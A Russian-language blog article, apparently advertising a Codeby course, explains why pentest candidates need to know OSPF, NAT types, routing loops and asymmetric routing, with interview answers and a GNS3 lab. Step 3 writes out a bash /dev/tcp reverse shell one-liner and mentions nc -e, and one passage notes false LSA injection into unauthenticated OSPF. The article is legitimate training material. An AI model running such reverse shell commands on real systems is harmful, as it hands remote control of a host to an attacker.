Вопросы на собеседовании пентестер: почему незнание OSPF и NAT топит кандидата с сертификатами

На последних двадцати собеседованиях, которые я провёл для позиции пентестера, четырнадцать кандидатов с OSCP или CEH не смогли ответить на один вопрос: «Нарисуй на доске, как пакет от reverse shell пройдёт от скомпрометированной машины через два NAT-транслятора и OSPF-зону обратно к твоему C2-серверу». Маркер завис в воздухе. И это не новички — у людей сертификаты, HackTheBox-профили, десятки решённых машин. Проблема не в подготовке к экзамену. Проблема в том, что буткемпы учат запускать msfconsole и chisel, но не объясняют, что происходит с пакетом после того, как он покинул сетевой интерфейс скомпрометированного хоста.
Почему на собеседовании пентестера спрашивают про сетевые протоколы
Собеседование на пентестера вопросами про сети — не экзамен по сетевому администрированию. Интервьюер не ждёт перечисления типов OSPF-зон наизусть. Такие вопросы проверяют одно: понимает ли человек, что происходит «под капотом», когда пентест выходит за пределы одной машины.
На реальном внутреннем пентесте (internal pentest — тестирование безопасности изнутри корпоративной сети) типичная задача выглядит так: получил доступ к рабочей станции в одном VLAN (Virtual LAN — логически изолированный сегмент сети), а целевой сервер с базой данных сидит в другом. Между ними — маршрутизаторы с OSPF (Open Shortest Path First — протокол динамической маршрутизации, который автоматически выбирает кратчайший путь для пакетов), NAT-трансляторы (Network Address Translation — подмена адресов при переходе пакета между сетями) и межсетевые экраны.
Чтобы пробросить трафик через эту цепочку — через Chisel, ligolo-ng или proxychains — нужно понимать три вещи:
- Куда маршрутизатор отправит пакет (маршрутизация)
- Как NAT изменит адрес источника или назначения (трансляция адресов)
- Почему пакет может уйти одним путём, а ответ вернуться другим (асимметричная маршрутизация)
Без этого пентестер превращается в оператора инструмента: запускает chisel server на C2, reverse-туннель не поднимается — и он не может объяснить, почему. На собеседовании именно здесь проходит граница между «прошёл лабу» и «могу работать в реальной сети клиента».
По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement (горизонтального перемещения по сети после первичной компрометации) — 62 минуты. Рекордный случай — 51 секунда. Атакующий, который перемещается с такой скоростью, точно понимает топологию сети и протоколы маршрутизации. Пентестер, имитирующий атакующего, обязан понимать их не хуже.
OSPF для пентестера: минимум, который спрашивают на собеседовании
OSPF — протокол динамической маршрутизации. «Динамическая» здесь означает: маршрутизаторы сами обмениваются информацией о доступных сетях и автоматически выбирают лучший путь. В отличие от статической маршрутизации, где администратор вручную прописывает каждый маршрут, OSPF адаптируется к изменениям: упала линка между двумя маршрутизаторами — OSPF пересчитает путь через другой.
Как OSPF определяет маршрут и почему это важно при pivoting
Механика такая: каждый маршрутизатор рассылает соседям LSA (Link State Advertisement — объявление о состоянии своих каналов связи). Из полученных LSA все маршрутизаторы строят единую карту сети — LSDB (Link State Database). По этой карте алгоритм Дейкстры вычисляет кратчайший путь до каждой подсети.
Для пентестера это ценно в контексте разведки. Допустим, ты скомпрометировал Linux-сервер на границе двух сегментов. Читаешь таблицу маршрутизации командой ip route — и видишь подсети, которые были невидимы с точки первоначального входа. По MITRE ATT&CK (открытая база тактик и техник реальных атак; T-коды вроде T1016 — идентификаторы конкретных техник) это System Network Configuration Discovery (T1016), а сканирование обнаруженных подсетей — уже Network Service Discovery (T1046).
На собеседовании вопрос про OSPF звучит не как «перечисли типы LSA». Он звучит так: «Ты получил шелл на сервере в подсети 10.10.20.0/24. Таблица маршрутизации показывает маршрут к 10.10.30.0/24 через 10.10.20.1. Что дальше?»
Правильный ответ: прощупать 10.10.30.0/24 через скомпрометированный хост как pivot-точку — развернуть SOCKS-прокси через Chisel или ligolo-ng и сканировать новый сегмент.
Провальный ответ: молчание или «OSPF — это протокол, который работает по алгоритму Дейкстры». Определение без действия — пустышка.
Ещё один момент, который стоит знать: OSPF поддерживает MD5- и HMAC-SHA-аутентификацию (RFC 2328, RFC 5709), но на практике она часто не включена. Для пентестера это потенциальная возможность инжектировать ложные LSA и повлиять на маршрутизацию — при условии L2-доступа к сегменту между OSPF-соседями. Сценарий продвинутый, на типичном собеседовании его не разбирают, но упомянуть — плюс.
Петля маршрутизации в сети: что это и как её распознать
Петля маршрутизации (routing loop) — ситуация, когда пакет бесконечно циклится между двумя или более маршрутизаторами, не достигая цели. Маршрутизатор A отправляет пакет маршрутизатору B, тот отправляет обратно на A — оба считают, что лучший путь к цели лежит через соседа.
Почему это спрашивают на собеседовании пентестера — две причины.
Первая — диагностика. При pivoting через несколько сегментов пентестер может столкнуться с тем, что трафик «пропадает». Запускаешь traceroute до целевого хоста и видишь характерную картину:
traceroute 10.10.30.5
1 10.10.20.1 1.2 ms
2 10.10.25.1 2.1 ms
3 10.10.20.1 1.3 ms
4 10.10.25.1 2.0 ms
...
Пакет мечется между 10.10.20.1 и 10.10.25.1. TTL (Time to Live — счётчик в IP-пакете, уменьшается на 1 при каждом прохождении через маршрутизатор; при 0 пакет уничтожается) не устраняет петлю, но гарантирует, что застрявший пакет будет отброшен после конечного числа хопов. Пентест-трафик до цели не дойдёт. Если кандидат не понимает, что видит, он потратит часы на отладку Chisel вместо минуты на осознание сетевой проблемы.
Вторая — атака. Петля маршрутизации — потенциальный вектор отказа в обслуживании. OSPF предотвращает петли автоматически (единая LSDB — все маршрутизаторы видят одну карту), а вот некорректные статические маршруты — классический источник петель. При routing loop troubleshooting ключевой инструмент — traceroute: повторяющиеся IP-адреса в выводе однозначно указывают на петлю.
NAT: объяснение простыми словами и почему без этого нет reverse shell
NAT (трансляция сетевых адресов) — механизм, подменяющий IP-адрес источника или назначения в пакете при прохождении через маршрутизатор. Приватные адреса вроде 192.168.x.x не маршрутизируются в интернете, поэтому NAT заменяет их на публичный адрес.
Типы NAT и их влияние на пентест
Для пентестера критичны три типа, и понимание разницы между ними — одна из основ сетевого администрирования для ИБ:
| Тип NAT | Что происходит | Влияние на пентест |
|---|---|---|
| Static NAT | Один внутренний IP жёстко привязан к одному внешнему. Работает в обе стороны | Bind shell (прямое подключение к жертве) возможен, если порт проброшен |
| Dynamic NAT | Пул внутренних адресов транслируется в пул внешних. Привязка временная | Непредсказуемый внешний адрес — bind shell ненадёжен |
| PAT (Port Address Translation) | Все внутренние адреса транслируются в один внешний, различаются номером порта. Стоит в каждом домашнем роутере | Bind shell невозможен без проброса порта. Reverse shell — стандартный выход |
Именно из-за PAT пентестеры по умолчанию используют reverse shell (обратное подключение ОТ жертвы К атакующему), а не bind shell. На собеседовании это классический вопрос: «Почему ты выбираешь reverse shell?» Ответ «потому что так написано в туториале» — провал. Ответ «потому что целевой хост за PAT, и входящее соединение на произвольный порт не пройдёт без правила проброса» — показывает, почему важно знать сети в пентесте.
Ещё один сценарий, который ломает кандидатов: двойной NAT. Скомпрометированный хост в подсети 10.10.20.0/24 → PAT на границе сегмента → PAT на периметре → интернет → C2-сервер. Reverse shell с этого хоста пройдёт оба NAT (исходящие соединения транслируются автоматически), но bind shell требует, чтобы входящий пакет прошёл два уровня трансляции — а правил проброса нет. Кандидат, который не может объяснить эту разницу на доске, на реальном пентесте упрётся в первый же нетривиальный сегмент.
Технические вопросы на собеседовании ИБ: провальный и сильный ответ
Разберём конкретный вопрос, который я задаю. Рисую на доске три подсети: 10.10.10.0/24 (DMZ — демилитаризованная зона с публичными сервисами), 10.10.20.0/24 (серверный сегмент), 10.10.30.0/24 (пользовательский сегмент). Между ними — два маршрутизатора с OSPF. На периметре — PAT наружу.
Вопрос: «Ты получил reverse shell с веб-сервера в DMZ. Нужно добраться до контроллера домена в серверном сегменте. Объясни, как пакет пройдёт от тебя до DC и какие проблемы могут возникнуть.»
Провальный ответ: «запущу Chisel и просканирую»
Кандидат: «Подниму Chisel-туннель через reverse shell, потом через proxychains запущу Nmap на 10.10.20.0/24, найду DC и попробую эксплуатировать.»
Почему провал: описана последовательность действий с инструментами, но не дан ответ на вопрос. Кандидат не объяснил — как пакет от Nmap дойдёт до DC через маршрутизатор между DMZ и серверным сегментом; есть ли маршрут обратно — увидит ли DC ответный пакет и куда его отправит; что произойдёт, если между сегментами стоит ACL (Access Control List — список правил фильтрации трафика), блокирующий трафик из DMZ. Сертификаты пентестера без базовых знаний о маршрутизации не помогут объяснить путь пакета.
Сильный ответ: от маршрута до pivot-цепочки
Кандидат: «Первым делом смотрю таблицу маршрутизации на скомпрометированном веб-сервере — ip route. Проверяю, есть ли маршрут к 10.10.20.0/24. Если маршрутизатор знает об этой подсети через OSPF — пакет дойдёт. Но ключевой вопрос — обратный маршрут: DC в серверном сегменте отправит ответ на IP веб-сервера в DMZ, потому что с точки зрения DC именно веб-сервер инициировал соединение через мой SOCKS-прокси. Это сработает, если маршрутизатор между сегментами пропускает такой трафик. Проблема может быть в ACL: если разрешён только HTTP/HTTPS из DMZ в серверный сегмент, мне придётся туннелировать через разрешённые порты — или искать другую pivot-точку.»
Почему работает: кандидат показал понимание маршрутизации в обе стороны, объяснил роль маршрутизатора в контексте pivot-туннеля и предвидел проблему с фильтрацией. Интервьюер слышит: человек может работать в реальной корпоративной сети с сегментацией, а не только в плоской лабораторной топологии.
Знание сетей для специалиста по ИБ: делай раз, делай два, делай три
Практическое упражнение, которое закроет пробел в сетевых протоколах для пентестера за два вечера. Понадобится: GNS3 или EVE-NG (бесплатные эмуляторы сетевого оборудования, ставятся на обычный ноутбук) и образ VyOS (бесплатный маршрутизатор на Linux) или Cisco IOSv.
Шаг 1 — собери минимальную топологию с OSPF. В GNS3 создай три маршрутизатора, соединённых в треугольник. Каждому назначь Loopback-интерфейс (виртуальный интерфейс, который всегда «поднят» — используется как стабильный идентификатор маршрутизатора) с уникальным адресом. Включи OSPF на всех интерфейсах. Цель — добиться, чтобы каждый маршрутизатор видел Loopback-адреса двух других в таблице маршрутизации. Как проверить: show ip ospf neighbor покажет соседей в состоянии FULL, а show ip route ospf — маршруты, полученные через OSPF (помечены буквой «O»).
Шаг 2 — создай петлю маршрутизации вручную. Отключи OSPF на одном маршрутизаторе и пропиши статические маршруты так, чтобы два оставшихся указывали друг на друга для недоступной подсети. Запусти traceroute — увидишь, как пакет мечется между ними до истечения TTL. В Wireshark на транзитном интерфейсе появятся ICMP Time Exceeded. Обрати внимание: OSPF предотвращает такие петли автоматически (единая LSDB гарантирует согласованные маршруты), статические маршруты — нет.
Шаг 3 — добавь NAT и проверь reverse shell через два сегмента. На одном маршрутизаторе настрой PAT (overload NAT). За ним помести виртуальную машину с Linux. С этой машины подними reverse shell до хоста за другим маршрутизатором — подойдёт bash built-in: /bin/bash -i >& /dev/tcp/<target-IP>/<port> 0>&1 (вариант с nc -e работает только в ncat или netcat-traditional, стандартный netcat-openbsd флаг -e не поддерживает). В Wireshark на транзитном интерфейсе увидишь, как NAT подменяет адрес источника. Ключевой момент: проверь, что обратный маршрут существует — иначе TCP-handshake не завершится. Если SYN уходит с подменённым IP, а SYN-ACK не возвращается — проблема в маршрутизации обратного пакета. Именно этот сценарий воспроизводит ситуацию, когда Chisel-туннель «не поднимается», а кандидат не может объяснить почему.
Всё упражнение укладывается в два вечера. После него вопрос «нарисуй путь пакета» на собеседовании перестанет быть проблемой.
Сертификаты пентестера без базовых знаний: почему OSCP не спасает
OSCP, CEH, eJPT дают навык работы с инструментами и методологию атаки. Проблема не в сертификатах — проблема в том, что учебные лабы этих программ обычно используют плоскую сеть (flat network): все машины в одном сегменте, без OSPF, без NAT, без маршрутизации между зонами. Кандидат привыкает, что ping 10.10.10.5 всегда работает, и не задаётся вопросом «а почему пакет вообще дошёл?»
На реальном пентесте сеть не плоская. По данным Mandiant M-Trends 2025, 38% initial access (первичных точек входа) приходится на эксплуатацию публично доступных приложений — Exploit Public-Facing Application (T1190 по MITRE ATT&CK). После initial access начинается lateral movement — Exploitation of Remote Services (T1210) — и тут кандидат без сетевых знаний встаёт. Reverse shell не поднимается — а он не знает, PAT виноват или ACL. Nmap через proxychains показывает все порты filtered — а он не понимает, что SOCKS-прокси не поддерживает ICMP и SYN-сканирование (-sS) через него невозможно в принципе: SOCKS работает на уровне TCP connect(), а не raw-сокетов. Нужен -sT (TCP connect scan).
Это не значит, что нужно сдавать CCNA перед пентестом. Это значит, что перед собеседованием стоит потратить два вечера на GNS3 с основами сетевого администрирования для ИБ, а не ещё одну машину на HackTheBox.
Я провёл за два года больше тридцати собеседований. Паттерн стабильный: человек уверенно рассказывает про Kerberoasting и BloodHound, а потом не может объяснить, почему traceroute показывает звёздочки на третьем хопе. Не потому что глупый — потому что ему никто не объяснил, что это ICMP-фильтрация на транзитном маршрутизаторе, а не «сеть сломалась». На форуме Codeby участники фиксируют ту же проблему: кандидаты «зубрят модель OSI, но не могут объяснить, на каком уровне работает их любимый сниффер». Проблема системная — буткемпы выделяют сетям один модуль из двадцати, оставшиеся девятнадцать отводят под инструменты. Это как учить хирурга скальпелем, не показав анатомию.
Собеседование на пентестера вопросами про OSPF и NAT не проверяет, станешь ли ты сетевым инженером. Оно проверяет, сможешь ли ты понять, что происходит, когда инструмент не работает. А инструменты не работают на каждом втором внутреннем пентесте — где-нибудь между вторым и третьим сегментом, через который нужно пробросить туннель. Два вечера с GNS3 закроют 80% типовых вопросов. Если хочется закрыть базу системно, а не латать дыры перед конкретным интервью — на IB Basics эту связку «сети + пентест» проходят за пару месяцев с лабами.
Эту тему и смежные навыки разбирают на практике в курсе «Компьютерные сети» Codeby Academy.
